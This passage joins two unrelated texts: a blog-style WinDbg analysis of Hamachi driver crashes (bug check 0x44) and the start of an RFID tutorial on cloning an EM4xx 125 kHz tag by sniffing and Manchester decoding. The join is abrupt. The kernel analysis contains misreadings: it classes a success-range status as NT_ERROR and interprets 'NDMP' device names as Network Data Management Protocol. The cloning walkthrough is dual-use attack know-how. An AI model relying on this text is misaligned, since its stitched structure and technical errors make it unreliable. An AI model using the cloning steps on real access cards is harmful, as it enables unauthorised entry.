fffff880`031aab80 fffff803`d8048fd9 : 9212ecd9`41a9baff 00000000`00000080 fffff803`d80b4160 fffffa80`0850a040 : nt!ExpWorkerThread+0x142
fffff880`031aac10 fffff803`d80fd7e6 : fffff880`009cb180 fffffa80`0850a040 fffff880`009d6f40 fffffa80`0849f740 : nt!PspSystemThreadStartup+0x59
fffff880`031aac60 00000000`00000000 : fffff880`031ab000 fffff880`031a5000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x16Aside from the various Network Driver Interface Specification and Windows Filtering Platform routines, we can see two BitDefender Firewall calls. As we ascend up the stack, we of course eventually see our three LogMeIn Hamachi Virtual Miniport Driver calls, and then the bug check.
What's really interesting to me is that BitDefender's firewall turned up in the stack. Normally, if I saw this first as opposed to a minidump, I would assume that BitDefender's firewall was causing conflicts, but it has shown in various scenarios that the user would remove their security software and or firewall and the issue continued, or they didn't have any installed whatsoever to cause conflict in the first place.
So, was it called maybe for reasons other than potential conflict? Possibly just noting that it had to deal with BitDefender before beginning the Network Driver Interface Specification routines?
Also, there's definitely a trend in the packet being marked Pending as opposed to Completed:
7: kd> dt nt!_IRP fffffa800ea3f910
+0x000 Type : 0n-12272
+0x002 Size : 0xc5a
+0x004 AllocationProcessorNumber : 0xfa80
+0x006 Reserved : 0xffff
+0x008 MdlAddress : (null)
+0x010 Flags : 0x60900
+0x018 AssociatedIrp : <unnamed-tag>
+0x020 ThreadListEntry : _LIST_ENTRY [ 0xfffffa80`0ea3f930 - 0xfffffa80`0ea3f930 ]
+0x030 IoStatus : _IO_STATUS_BLOCK
+0x040 RequestorMode : 1 ''
+0x041 PendingReturned : 0x1 ''
+0x042 StackCount : 1 ''
+0x043 CurrentLocation : 3 ''
+0x044 Cancel : 0 ''
+0x045 CancelIrql : 0 ''
+0x046 ApcEnvironment : 0 ''
+0x047 AllocationFlags : 0x4 ''
+0x048 UserIosb : 0x00000000`01b12c30 _IO_STATUS_BLOCK
+0x050 UserEvent : 0xfffffa80`09017860 _KEVENT
+0x058 Overlay : <unnamed-tag>
+0x068 CancelRoutine : 0xfffff880`1a80188c void +0
+0x070 UserBuffer : (null)
+0x078 Tail : <unnamed-tag>The IoStatus also consistently appears to be IO_STATUS_BLOCK, which the driver sets the IRP's I/O status block to indicate the final status of an I/O request before calling IoCompleteRequest for the IRP. An I/O status block serves two purposes:
It provides a higher-level driver's IoCompletion routine a way of determining whether the service worked when the IRP is completed.
It provides more information about why the service either worked or did not work.
As far as I know, this is the completion status, either STATUS_SUCCESS if the requested operation was completed successfully as you mentioned earlier, or an informational, warning, or error STATUS_XXX value. This is where I am stuck, I cannot find where the error, warning, etc, is?
I'm having a fellow BSOD and Windows Internals Expert have a look at the kernel-dump I was provided. I will add more updates regarding it when I get them.
-------------
Update #4 - Fellow BSOD, Windows Internals Expert, and good friend Harry has taken a look at the kernel-dump I provided him and some more interesting information was discovered. What's below likely won't make sense to the average user, but that's okay because it's more-so for knowledge related purposes and just some extra poking around. The initial temporary workaround still stands, which is to simply uninstall LogMeIn Hamachi until the LogMeIn developers issue a fix or patch.
7: kd> dt nt!_IO_STATUS_BLOCK fffffa800ea3f910
+0x000 Status : 0n207278096
+0x000 Pointer : 0xfffffa80`0c5ad010 Void
+0x008 Information : 0Status field layout can be found below.
7: kd> ? 0n207278096
Evaluate expression: 207278096 = 00000000`0c5ad010I've evaluated the value to hexiadecimal value, to try and decipher what it could mean. It seems that it may have returned NT_ERROR. I managed to find this within the Ntdef.h Header file, I apologise if anyone has difficulty reading my dark theme for Visual Studio.
7: kd> .formats 0n207278096
Evaluate expression:
Hex: 00000000`0c5ad010
Decimal: 207278096
Octal: 0000000000001426550020
Binary: 00000000 00000000 00000000 00000000 00001100 01011010 11010000 00010000 <-- 0 starts here
Chars: .....Z..
Time: Tue Jul 27 02:14:56 1976
Float: low 1.68567e-031 high 0
Double: 1.02409e-315Additional Information from the WDK -
When testing a return value, you should use one of the following system-supplied macros (defined in Ntdef.h):
NT_SUCCESS(Status) Evaluates to TRUE if the return value specified by Status is a success type (0 ? 0x3FFFFFFF) or an informational type (0x40000000 ? 0x7FFFFFFF).
NT_INFORMATION(Status) Evaluates to TRUE if the return value specified by Status is an informational type (0x40000000 ? 0x7FFFFFFF).
NT_WARNING(Status) Evaluates to TRUE if the return value specified by Status is a warning type (0x80000000 ? 0xBFFFFFFF).
NT_ERROR(Status) Evaluates to TRUE if the return value specified by Status is an error type (0xC0000000 - 0xFFFFFFFF).
7: kd> !irp fffffa800ea3f910 1
Irp is active with 1 stacks 3 is current (= 0xfffffa800c440c10)
No Mdl: No System Buffer: Thread fffffa800c716900: Irp is completed. Pending has been returned
Flags = 00060900
ThreadListEntry.Flink = fffffa800ea3f930
ThreadListEntry.Blink = fffffa800ea3f930
IoStatus.Status = 00000000
IoStatus.Information = 00000118
RequestorMode = 00000001
Cancel = 00
CancelIrql = 0
ApcEnvironment = 00
UserIosb = 01b12c30
UserEvent = fffffa8009017860
Overlay.AsynchronousParameters.UserApcRoutine = 00000000
Overlay.AsynchronousParameters.UserApcContext = 01b12c30
Overlay.AllocationSize = 00000000 - 00000000
CancelRoutine = fffff8801a80188c Hamdrv
UserBuffer = 00000000
&Tail.Overlay.DeviceQueueEntry = fffffa800ea3f988
Tail.Overlay.Thread = fffffa800c716900
Tail.Overlay.AuxiliaryBuffer = fffff803d8567998
Tail.Overlay.ListEntry.Flink = 00000000
Tail.Overlay.ListEntry.Blink = 00000000
Tail.Overlay.CurrentStackLocation = fffffa800c440c10
Tail.Overlay.OriginalFileObject = 00000000
Tail.Apc = 00580012
Tail.CompletionKey = 00580012
cmd flg cl Device File Completion-Context
[ 3, 0] 0 0 fffffa8009ff6060 00000000 00000000-00000000
\Driver\hamachi
Args: 00000000 00000000 00000000 00000000The 3 is the Major Function Code for IRP_MJ_READ and the Minor Function Code is IRP_MN_NORMAL from my understanding.
7: kd> !devstack fffffa8009ff6060
!DevObj !DrvObj !DevExt ObjectName
> fffffa8009ff6060 \Driver\hamachi fffffa8009ff61b0 HamachiTap.C6AE2999-2529-481A-A4BA-C3ED805229CC7: kd> dt nt!_IO_STACK_LOCATION 0xfffffa800c440c10
+0x000 MajorFunction : 0x5 ''
+0x001 MinorFunction : 0 ''
+0x002 Flags : 0xd8 ''
+0x003 Control : 0 ''
+0x008 Parameters : <unnamed-tag>
+0x028 DeviceObject : (null)
+0x030 FileObject : (null)
+0x038 CompletionRoutine : (null)
+0x040 Context : (null)The data structure shows the current stack location of the IRP. Since IRPs can be handled by different Driver Objects through Driver Stacks, and therefore may be a indication of the different driver handling a different IRP.
7: kd> !drvobj fffffa800968ee60
Driver object (fffffa800968ee60) is for:
\Driver\hamachi
Driver Extension List: (id , addr)
(4e4d4944 fffffa800ef88bb0)
Device Object list:
fffffa8009ff6060 fffffa800b3f50507: kd> !devobj fffffa800b3f5050
Device object (fffffa800b3f5050) is for:
NDMP24 \Driver\hamachi DriverObject fffffa800968ee60
Current Irp 00000000 RefCount 0 Type 00000017 Flags 00002050
Dacl fffff9a100265f51 DevExt fffffa800b3f51a0 DevObjExt fffffa800b3f6688
ExtensionFlags (0x00000800) DOE_DEFAULT_SD_PRESENT
Characteristics (0x00000100) FILE_DEVICE_SECURE_OPEN
AttachedTo (Lower) fffffa800e6bc7f0 \Driver\PnpManager
Device queue is not busy.7: kd> !devstack fffffa800b3f5050
!DevObj !DrvObj !DevExt ObjectName
> fffffa800b3f5050 \Driver\hamachi fffffa800b3f51a0 NDMP24 <-- Network Data Management Protocol?
fffffa800e6bc7f0 \Driver\PnpManager 00000000 0000006a
!DevNode fffffa8008e37010 :
DeviceInst is "ROOT\NET\0000"
ServiceName is "Hamachi"The NDMP24 may explain the network related calls in the Call Stack for the thread which was responsible for the IRP
7: kd> !thread fffffa800c716900
THREAD fffffa800c716900 Cid 1c40.1da0 Teb: 000007f7fc3b4000 Win32Thread: fffff901007ffb90 RUNNING on processor 1
IRP List:
fffffa800f678980: (0006,0118) Flags: 00060000 Mdl: 00000000 <-- Npfs
fffffa800ea04ee0: (0006,0118) Flags: 00060000 Mdl: 00000000 <-- Npfs
fffffa800f5f7520: (0006,01f0) Flags: 00060900 Mdl: 00000000 <-- nsiproxy
fffffa800c52a520: (0006,01f0) Flags: 00060800 Mdl: 00000000 <-- nsiproxy
Not impersonating
DeviceMap fffff8a00000c280
Owning Process fffffa800c4c8940 Image: hamachi-2.exe
Attached Process N/A Image: N/A
Wait Start TickCount 864481 Ticks: 0
Context Switch Count 43034 IdealProcessor: 0
UserTime 00:00:00.125
KernelTime 00:00:00.140
Win32 Start Address 0x000007fd00a44aa0
Stack Init fffff8801ce29c90 Current fffff8801ce29050
Base fffff8801ce2a000 Limit fffff8801ce24000 Call 0
Priority 8 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5
Child-SP RetAddr : Args to Child : Call Site
fffff880`1ce29438 fffff880`00b77115 : fffffa80`0cc3b840 fffffa80`093c9270 00000000`00000000 fffffa80`08531e00 : nt!ObReferenceObjectByHandle
fffff880`1ce29440 fffff880`00b590a7 : fffff880`1ce29918 00000000`00000320 00000000`00000000 fffffa80`0cb9e620 : afd!AfdEnumNetworkEvents+0x75
fffff880`1ce294e0 fffff803`d844b47a : fffffa80`0c549610 00000000`00000000 00000000`000003a8 00000000`00000114 : afd!AfdFastIoDeviceControl+0x1097
fffff880`1ce29890 fffff803`d8460a76 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0x3d9
fffff880`1ce29a20 fffff803`d8075453 : fffffa80`0c716900 00000000`01f9fb18 fffff880`1ce29aa8 00000000`01f9fb40 : nt!NtDeviceIoControlFile+0x56
fffff880`1ce29a90 000007fd`03242c5a : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13 (TrapFrame @ fffff880`1ce29b00)
00000000`01f9fcb8 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x000007fd`03242c5a7: kd> !irp fffffa800f5f7520
Irp is active with 2 stacks 2 is current (= 0xfffffa800f5f7638)
No Mdl: No System Buffer: Thread fffffa800c716900: Irp stack trace.
cmd flg cl Device File Completion-Context
[ 0, 0] 0 0 00000000 00000000 00000000-00000000
Args: 00000000 00000000 00000000 00000000
>[ 3, 0] 0 1 fffffa800caf9260 fffffa8008c53d10 00000000-00000000 pending
\FileSystem\Npfs
Args: 00002000 00000000 00000000 00000000Npfs is a Windows driver, but I'm correct, isn't the driver attempting to complete the IRP packet again? I don't think I may be correct though, if the IRP is targeted at a different Device Object.
-------------
So, that was Harry's analysis of the 0x44 kernel-dump. As discovered above, Npfs.sys appears to be sitting at status PENDING (not complete). Npfs.sys is the Named Pipe File System service. It enables the exchange of data among multiple paths, whether the exchange is for the same application or for two or more different applications at a time.
Is this the reason the crash is occurring? Maybe, we cannot say because one kernel-dump is not enough as there needs to be a check for consistency. If we receive more kernel-dumps, we can check and see whether or not Npfs.sys is consistent in its status PENDING. If it is, it appears the developers will need to iron that out and everything will be solid.
-------------
Update #5 - Wow, today I woke up to multiple emails from various people either providing their kernel-dumps, or asking if I'd like theirs. This is absolutely incredible, I am ecstatic. I'd like to extend a HUGE thank you to every single one of you. At the end of it all, I will be absolutely sure to give credit to every single one of you by your name, etc. Let's get started!
David Laverdiere II's kernel-dump:
This is the first kernel-dump I received, so it's only fair I use it in the first major analysis to check for consistency : )
First off, let's take a look at the call stack just to see what's going on:
1: kd> kv
Child-SP RetAddr : Args to Child : Call Site
ffffd000`3a7bb818 fffff802`ef991b4b : 00000000`00000044 ffffe000`07e7e2a0 00000000`00000f8a 00000000`00000000 : nt!KeBugCheckEx
ffffd000`3a7bb820 fffff800`045c1f0a : 00000000`00000000 ffffd000`3ac72f00 ffffe000`088a1340 ffffe000`088a1340 : nt! ?? ::FNODOBFM::`string'+0x2a9ab
ffffd000`3a7bb930 fffff800`045c3059 : ffffe000`088a1340 ffffd000`3a7bba02 ffffd000`3a7bba80 ffffe000`00000054 : Hamdrv+0x1f0a
ffffd000`3a7bb980 fffff800`045c2a56 : 00000000`00000000 ffffe000`04b02bb0 ffffe000`04b02bb0 ffffe000`04b02d10 : Hamdrv+0x3059
ffffd000`3a7bc040 fffff800`010b7b14 : 00000000`00000000 ffffd000`3a7bc170 00000000`00000000 00000000`00000002 : Hamdrv+0x2a56
ffffd000`3a7bc070 fffff800`012e6115 : ffffe000`062ed430 ffffe000`04b02bb0 ffffe000`00000000 00000000`00000017 : ndis!NdisSendNetBufferLists+0x554
ffffd000`3a7bc250 fffff800`012e2c54 : fffff800`0144a370 00000000`00000000 ffffd000`3a7bc400 ffffe000`000086dd : tcpip!IppFragmentPackets+0x4e5
ffffd000`3a7bc3a0 fffff800`012a2475 : fffff800`0144a370 ffffe000`0657b000 ffffd000`00000000 00000000`00000000 : tcpip!IppDispatchSendPacketHelper+0x94
ffffd000`3a7bc530 fffff800`012e1b02 : 00000000`00000000 00000000`00000017 ffffd000`3a7bca40 ffffe000`02839498 : tcpip!IppPacketizeDatagrams+0x2d5
ffffd000`3a7bc6d0 fffff800`0129c5f2 : 00000000`00000000 ffffe000`00cf1204 fffff800`0144a370 ffffe000`06cd7630 : tcpip!IppSendDatagramsCommon+0x4a2
ffffd000`3a7bc8b0 fffff800`0128ed2e : 00000000`00000000 00000000`000035ce 00000000`0000eb14 00000000`0000080a : tcpip!IpNlpSendDatagrams+0x42
ffffd000`3a7bc8f0 fffff800`012ea33a : ffffe000`0808c100 00000000`00000002 ffffe000`0576a2e8 fffff800`0144a370 : tcpip!UdpSendMessagesOnPathCreation+0x42e
ffffd000`3a7bcd10 fffff800`0128f154 : 00000000`00000000 ffffe000`06214010 ffffe000`05a1a480 00000000`00000000 : tcpip!UdpSendMessages+0x1da
ffffd000`3a7bd140 fffff802`ef8c13f9 : fffff800`00c45b74 fffff800`012edef5 fffff800`00c1dfd8 ffffe000`0169de40 : tcpip!UdpTlProviderSendMessagesCalloutRoutine+0x15
ffffd000`3a7bd170 fffff800`0128e7ac : fffff800`0128f140 ffffd000`3a7bd2f0 ffffe000`04d18d00 00000000`00000000 : nt!KeExpandKernelStackAndCalloutInternal+0xe9
ffffd000`3a7bd2c0 fffff800`00c47629 : ffffe000`0576a280 ffffd000`3a7bdb80 ffffe000`0576a280 ffffe000`0576a280 : tcpip!UdpTlProviderSendMessages+0x6c
ffffd000`3a7bd340 fffff800`00c2f0ca : ffffe000`007d5950 ffffd000`3a7bd908 ffffe000`01467d00 00000000`00000000 : afd!AfdFastDatagramSend+0x579
ffffd000`3a7bd500 fffff802`efbb3f97 : ffffe000`01467d00 00000000`00000000 ffffe000`01467d00 ffffd000`20607180 : afd!AfdFastIoDeviceControl+0x10bb
ffffd000`3a7bd870 fffff802`efbb4d7a : e0000131`daf054d3 0000000c`001f0003 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0x3f7
ffffd000`3a7bda20 fffff802`ef9624b3 : 00000000`00000000 ffffd000`3a7bdad8 00000000`00000001 000000a4`ef92f600 : nt!NtDeviceIoControlFile+0x56
ffffd000`3a7bda90 00007ffb`c0dc65ea : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13 (TrapFrame @ ffffd000`3a7bdb00)
000000a4`ef92eff8 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x00007ffb`c0dc65eaFrom this call stack, we can see various networking related calls and routines.
1. For example, very early on in the stack we have two afd.sys routine calls, which is the Ancillary Function Driver. Ancillary Function Driver (AFD) is the pilot auxiliary function, a Microsoft Windows service, responsible to the BSD socket function. Windows (see Winsock), the most famous application that uses sockets is Apache.
In the Windows GUI, setting AFD is via the Device Manager (devmgmt.msc) and not in services and applications (services.msc). It is displayed in the list of Non-Plug and Play drivers, as the Environment network support (AFD AFD Networking Support Environment).
2. As we move up the call stack, we go into many tcpip.sys (TCP/IP Protocol driver) routines. This is self explanatory.
3. We then have one single ndis.sys (Network Driver Interface Specification driver) routine call. The Network Driver Interface Specification (NDIS) is an application programming interface (API) for network interface cards (NICs). The NDIS forms the Logical Link Control (LLC) sublayer, which is the upper sublayer of the OSI data link layer (layer 2). Therefore, the NDIS acts as the interface between the Media Access Control (MAC) sublayer, which is the lower sublayer of the data link layer, and the network layer (layer 3).
The NDIS is a library of functions often referred to as a "wrapper" that hides the underlying complexity of the NIC hardware and serves as a standard interface for level 3 network protocol drivers and hardware level MAC drivers. Another common LLC is the Open Data-Link Interface (ODI).
4. We then of course have our three HamDrv.sys (LogMeIn Hamachi Virtual Miniport) driver calls.
5. Finally, we then have our inevitable bug check itself.
Moving on, something very interesting in David's kernel-dump is this:
ADDITIONAL_DEBUG_TEXT: USB\VID_04F2&PID_B374
What does this mean? Well, this is a USB device. VID = Vendor ID, and PID = Product ID. As we can see here in this case, the VID = 04F2 and the PID = B374. As of right now, this doesn't really tell us anything other than a bunch of numbers which isn't very helpful. However, these numbers are actually very important!
If we run them against a VID/PID database, we see that the 04F2 VID = Chicony Electronics Co., Ltd. Great, so we have a vendor! Now, what about the product? Unfortunately, there doesn't seem to be anything in a database for PID B374. With this said, I went to Google and hoped for the best. With very little searches available, the best guess would be to assume that this is a Chicony webcam and/or camera based device. I will have to ask David. Moving on...
1: kd> dt nt!_IO_STATUS_BLOCK ffffe00007e7e2a0
+0x000 Status : 0n18350086
+0x000 Pointer : 0x00000001`01180006 Void
+0x008 Information : 0xffffe000`00b69b10Now that we have this, let's check the STATUS field layout:
1: kd> ? 0n18350086
Evaluate expression: 18350086 = 00000000`01180006Let's go forward more:
1: kd> .formats 0n18350086
Evaluate expression:
Hex: 00000000`01180006
Decimal: 18350086
Octal: 0000000000000106000006
Binary: 00000000 00000000 00000000 00000000 00000001 00011000 00000000 00000110
Chars: ........
Time: Sat Aug 01 05:14:46 1970
Float: low 2.7918e-038 high 0
Double: 9.06615e-317Assuming I am correct, '00000000`01180006' falls under:
NT_SUCCESS(Status) Evaluates to TRUE if the return value specified by Status is a success type (0 ? 0x3FFFFFFF) or an informational type (0x40000000 ? 0x7FFFFFFF). This is different than our first kernel as the first kernel returned NT_ERROR as opposed to NT_SUCCESS).
Moving forward, let's take a closer look at the IRP:
1: kd> !irp ffffe00007e7e2a0 1
Irp is active with 1 stacks 3 is current (= 0xffffe00000d39070)
Mdl=ffffe00000b69b10: No System Buffer: Thread fffff802ef8af540: Irp is completed. Pending has been returned
Flags = 00060900
ThreadListEntry.Flink = ffffe000016fb590
ThreadListEntry.Blink = ffffe000076866d8
IoStatus.Status = 00000000
IoStatus.Information = 00000054
RequestorMode = 00000001
Cancel = 00
CancelIrql = 0
ApcEnvironment = 00
UserIosb = 01471f40
UserEvent = ffffe00001136790
Overlay.AsynchronousParameters.UserApcRoutine = 00000000
Overlay.AsynchronousParameters.UserApcContext = 01471f40
Overlay.AllocationSize = 00000000 - 00000000
CancelRoutine = fffff800045c188c Hamdrv
UserBuffer = 00000000
&Tail.Overlay.DeviceQueueEntry = ffffe00007e7e318
Tail.Overlay.Thread = fffff802ef8af540
Tail.Overlay.AuxiliaryBuffer = fffff802efdd78dc
Tail.Overlay.ListEntry.Flink = 00000000
Tail.Overlay.ListEntry.Blink = 00000000
Tail.Overlay.CurrentStackLocation = ffffe00000d39070
Tail.Overlay.OriginalFileObject = 00000000
Tail.Apc = 00580012
Tail.CompletionKey = 00580012
cmd flg cl Device File Completion-Context
[ 3, 0] 0 0 ffffe000029bf900 00000000 00000000-00000000
\Driver\hamachi
Args: 00000000 00000000 00000000 00000000Great, we're consistent here. The IRP is completed and the pending has returned. We also appear to have the same # (3) which appears to be the Major Function Code for IRP_MJ_READ and the same for the Minor Function Code, which is IRP_MN_NORMAL. Let's go ahead and take 'ffffe000029bf900' and look into it:
1: kd> !devstack ffffe000029bf900
!DevObj !DrvObj !DevExt ObjectName
> ffffe000029bf900 \Driver\hamachi ffffe000029bfa50 HamachiTap.FBA77CC0-00D0-459A-AEA1-63052984BC34Very nice, more Hamachi. Let's now go ahead and take 'ffffe00000d39070' (CurrentStackLocation) and look into it:
1: kd> dt nt!_IO_STACK_LOCATION 0xffffe00000d39070
+0x000 MajorFunction : 0x5 ''
+0x001 MinorFunction : 0 ''
+0x002 Flags : 0xd8 ''
+0x003 Control : 0 ''
+0x008 Parameters : <unnamed-tag>
+0x028 DeviceObject : (null)
+0x030 FileObject : (null)
+0x038 CompletionRoutine : (null)
+0x040 Context : (null)Yes, more consistency! Remember, the data structure shows the current stack location of the IRP. Since IRPs can be handled by different Driver Objects through Driver Stacks, and therefore may be a indication of the different driver handling a different IRP. Moving on...
1: kd> !drvobj ffffe00005c66230 f
Driver object (ffffe00005c66230) is for:
\Driver\hamachi
Driver Extension List: (id , addr)
(4e4d4944 ffffe000010b5810)
Device Object list:
ffffe000029bf900 ffffe000075cf050Let's take 'ffffe000075cf050' (part of the Device Object list) and look into it:
1: kd> !devobj ffffe000075cf050
Device object (ffffe000075cf050) is for:
NDMP18 \Driver\hamachi DriverObject ffffe00005c66230
Current Irp 00000000 RefCount 0 Type 00000017 Flags 00002050
Dacl ffffc10100d9bf51 DevExt ffffe000075cf1a0 DevObjExt ffffe000075d0720
ExtensionFlags (0x00000800) DOE_DEFAULT_SD_PRESENT
Characteristics (0x00000100) FILE_DEVICE_SECURE_OPEN
AttachedTo (Lower) ffffe00007098e50 \Driver\PnpManager
Device queue is not busy.More consistency! Let's keep going...
1: kd> !devstack ffffe000075cf050
!DevObj !DrvObj !DevExt ObjectName
> ffffe000075cf050 \Driver\hamachi ffffe000075cf1a0 NDMP18
ffffe00007098e50 \Driver\PnpManager 00000000 000000a4
!DevNode ffffe00000c15d30 :
DeviceInst is "ROOT\NET\0000"
ServiceName is "Hamachi"More and more consistency! Also, if you've been noticing, I have been highlighting NDMP(n) as we've been going through this. The reason for this is NDMP(n) = Network Data Management Protocol, which is a protocol invented by the NetApp and Legato companies, meant to transport data between network attached storage (NAS) devices and backup devices. This removes the need for transporting the data through the backup server itself, thus enhancing speed and removing load from the backup server.
This is likely why we see so many network related routines in the call stack which was inevitably responsible for the IRP.
Let's now go ahead and run a !thread on the thread in which the IRP completed:
1: kd> !thread fffff802ef8af540
fffff802ef8af540 is not a thread object, interpreting as stack value...
TYPE mismatch for thread object at fffff802ef8af540Oh no! We've reached a very unfortunate dead end in David's kernel-dump. After debugging for over an hour, I was not about to give up. I went ahead and opened up another kernel-dump (provided by Maximilian Kless), and quickly got to where we are. The thread extension worked this time!
2: kd> !thread ffffe00004edd880
THREAD ffffe00004edd880 Cid 08a0.0968 Teb: 00007ff63f615000 Win32Thread: fffff901400f86d0 RUNNING on processor 3
IRP List:
ffffe00005a625b0: (0006,0118) Flags: 00060000 Mdl: 00000000
ffffe00005a2c1e0: (0006,0118) Flags: 00060000 Mdl: 00000000
ffffe00002904cc0: (0006,01f0) Flags: 00060900 Mdl: 00000000
ffffe000025cc270: (0006,01f0) Flags: 00060800 Mdl: 00000000
Not impersonating
DeviceMap ffffc0000000c250
Owning Process ffffe00004bd0900 Image: hamachi-2.exe
Attached Process N/A Image: N/A
Wait Start TickCount 227813 Ticks: 0
Context Switch Count 8289 IdealProcessor: 0
UserTime 00:00:00.281
KernelTime 00:00:00.406
Win32 Start Address 0x00007ffe21c281b0
Stack Init ffffd00035a46c90 Current ffffd00035a45fe0
Base ffffd00035a47000 Limit ffffd00035a41000 Call 0
Priority 8 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5
Child-SP RetAddr : Args to Child : Call Site
00000000`01f8f7e0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x00007ff6`40361752At this point, I am honestly jumping up and down in my chair. We see a huge consistency here, and we have one more step to go. Let's finally go ahead and run an !irp on the 3rd value in the IRP list:
2: kd> !irp ffffe00002904cc0
Irp is active with 2 stacks 2 is current (= 0xffffe00002904dd8)
No Mdl: No System Buffer: Thread ffffe00004edd880: Irp stack trace.
cmd flg cl Device File Completion-Context
[ 0, 0] 0 0 00000000 00000000 00000000-00000000
Args: 00000000 00000000 00000000 00000000
>[ 3, 0] 0 1 ffffe00001f37060 ffffe00005de5f20 00000000-00000000 pending
\FileSystem\Npfs
Args: 00002000 00000000 00000000 00000000And that's it, we have consistency! Npfs.sys marked as status PENDING in TWO kernel dumps on TWO ENTIRELY different systems. Also, even though David's kernel-dump didn't show us a !thread, it showed alarming consistency in regards to many other things seen in the dump itself.
Now, with all of this found, I will bring it up to Harry and my fellow analysts, and see if we can explain what role Npfs.sys has in these crashes. More updates to come! I will of course also take a look at the other kernel-dumps I was provided. Busy busy day.
Update #6 - This is not an analysis update, mostly because the analysis is finished. From this point on, it's of course up to LogMeIn to examine their driver code and see why things like Npfs.sys remain PENDING, etc.
Aside from receiving any new kernel-dumps from any kind individuals to quickly check for consistency, Harry (x BlueRobot) and I have analyzed this to the point where we can do no more as we are only volunteer analysts with an interest in helping people. This update is instead directed more towards how much of a huge thank you I want to extend.
First off, I simply couldn't have done a large amount of this without Harry's help. As much as I appreciate all of the recognition I am receiving for this, Harry deserves it just as much as I do. It would have taken me a very long time and it would have been very stressful. Harry provided tons of documentation and debugging related information, and both of us have learned a very large amount from this. So far I have worked on two bugs with him (HP-Envy-700-074 BIOS bug) and now this. So far, both have been extremely successful.
I'd also like to thank ZigZag3143 for not only submitting tickets and remaining in contact with LogMeIn, and providing up to date threads across various communities displaying the sheer number of people having this problem, but for being a good friend as always and lending a hand.
Next, I'd like to of course extend an extremely large thanks to everyone around the world who has sent me their kernel-dumps simply because they wanted to be a part of this and help contribute to solving the issue. I am going to be making a list of the people who contributed their kernel-dumps, by name. As I am still receiving (or waiting to receive) kernel-dumps from various people who've contacted me, it will likely be an ongoing list.
Essentially, what I am trying to convey here is that this was not just me, it was a huge team effort. I had tons of help from Harry, and extremely kind people from all around the world. I truly appreciate situations like this more than anything in life, because they are very important. As an analyst with a huge passion in debugging, this was not only a beautiful learning experience, but I got to work with a lot of extremely great people. It truly goes to show that when people work together, you can essentially solve any problem.
Update #7 - It appears as I stated at the very top that this bug has been SOLVED! Again, a huge thank you to everyone involved, and to LogMeIn for fixing it promptly for its customers.
-
1. Introduction
Radio Frequency Identification, also known as RFID, is a technology that was created by Léon Theremin in1945 and later patented by Mario Cardullo in 1973. It was first developed by Léon Theremin as a spy device for the Soviet Union government. The device itself could transmit a sound within a radiowave. The device itself was an early example of RFID technology, even though it worked as a passive spy device and not as an ID.
RFID is classified as passive, active and semi-passive. Active RFID uses a battery and can operate in a range of about10 m, and passive RFID can operate in a range of about 20 cm. This is an example of a passive RFID card that was used as a public transport ticket.
Picture 1. Internals of passive 13.56 MHz Mifare RFID ticket.
The picture above is an RFID tag which has had the cover removed using acetone. You could see the internal device consisting of a coil and a tiny integrated circuit. The table below contains a couple of frequently used RFID tags and their frequency:
Picture 2. RFID tags and their working frequency.
2. Modulation
Most RFID tags were using ASK (Amplitude Shift Keying), FSK (Frequency Shift Keying) and PSK (Phase Shift Keying) for its analog modulation.
Picture 3. RFID modulation.
For encoding, most of them are using NRZ, Manchester, Unipolar RZ, DBP (Differential Bi-Phase), Miller and Differential Coding on PP Coding.
Picture 4. RFID encoding.
3. Problem
The main problem with RFID is related to its frequency. Someone with specific tools and enough knowledge on RFID (including complete documentation) could analyze the working frequency of an RFID tag and then decode the data or perform an attack such as cloning the RFID or doing a Denial-of-Service attack.
4. Attack
4.1 Cloning an RFID Tag
Before you could clone an RFID tag, first you should know its working frequency. For this demonstration, I will use the EM4xx tag, whose working frequency is 125 kHz.
Picture 5. RFID tag that will be cloned.
We are sniffing the packet in order to know the data being sent by the RFID tag. First, we should know the working frequency of the target RFID tag using an oscilloscope. This is what the signal looks like between the card and the reader:
Picture 6. Using an oscilloscope to get the RFID working frequency.
From the picture above, we know that the target RFID tag working frequency is 125 kHz with ASK modulation. Next, we should filter out and separate the carrier and the data. Because the ASK modulation is using amplitude, the filter that we build should also work as an envelope detector. After packets go through the filter, it should look like this:
Picture 7. Analog signal data from EM4xx RFID tag.
The picture above shows the data signal that has been separated from its carrier signal. We could also see that the signal is still in analog. Next, we should convert that analog signal into digital signal so it could be easy for further processing and analysis. For this to work, we are going to use a comparator and amplifier circuit. When then signal goes through this comparator and amplifier circuit, it will be converted into a digital signal that could be fed into a microcontroller for further processing. That digital signal looks like the picture below:
Picture 8. Digital signal data from EM4xx RFID tag.
Even if we have converted the analog signal to digital signal, it is still difficult to know when the data was sent, because our oscilloscope didn’t have support for that kind of analysis. We are going to use a logic analyzer for analysis in order to know the pattern of that digital signal. This is what the digital signal captured during that process looks like:
Picture 9. Sniffing packets using a logic analyzer.
As shown in above picture, data transmission started at 15 ms and ended at 47 ms. From a couple of documentations, we could see that the data above is using manchester encoding. And because the signal came from an EM4xx tag, we can see that the signal begins with nine logic “1?. We could now calculate the start and the end of that signal, but before we continue and build a manchester encoder application to process the data, we should first analyze every byte in the data. Because the logic analyzer doesn’t have a feature for decoding, we should decode it manually as in the picture below:
Picture 10. Decoding the packet manually.
- Header
The header consists of nine bit logic with value of “1?. It is quite easy to spot the header because of the consistent bit value.
- Version Number or Customer ID
This part and the next that follows could be easily decoded because we have already found the header part. The version number or customer ID part is right after the header. It consists of 10 bit which is divided into two parts. The first part is 1 high nibble with 1 bit parity and 1 low nibble with 1 bit parity. On this case, we found that the customer ID value is 0x0F.
- Data Bits or Serial Number
Data bits is located right after the customer ID part. This data bits consist of a 32 bit value which is then divided with each 4 bit followed by an even parity bit, so the total size of the data bits is 42 bits.
- Column Parity Bits and Stop Bit
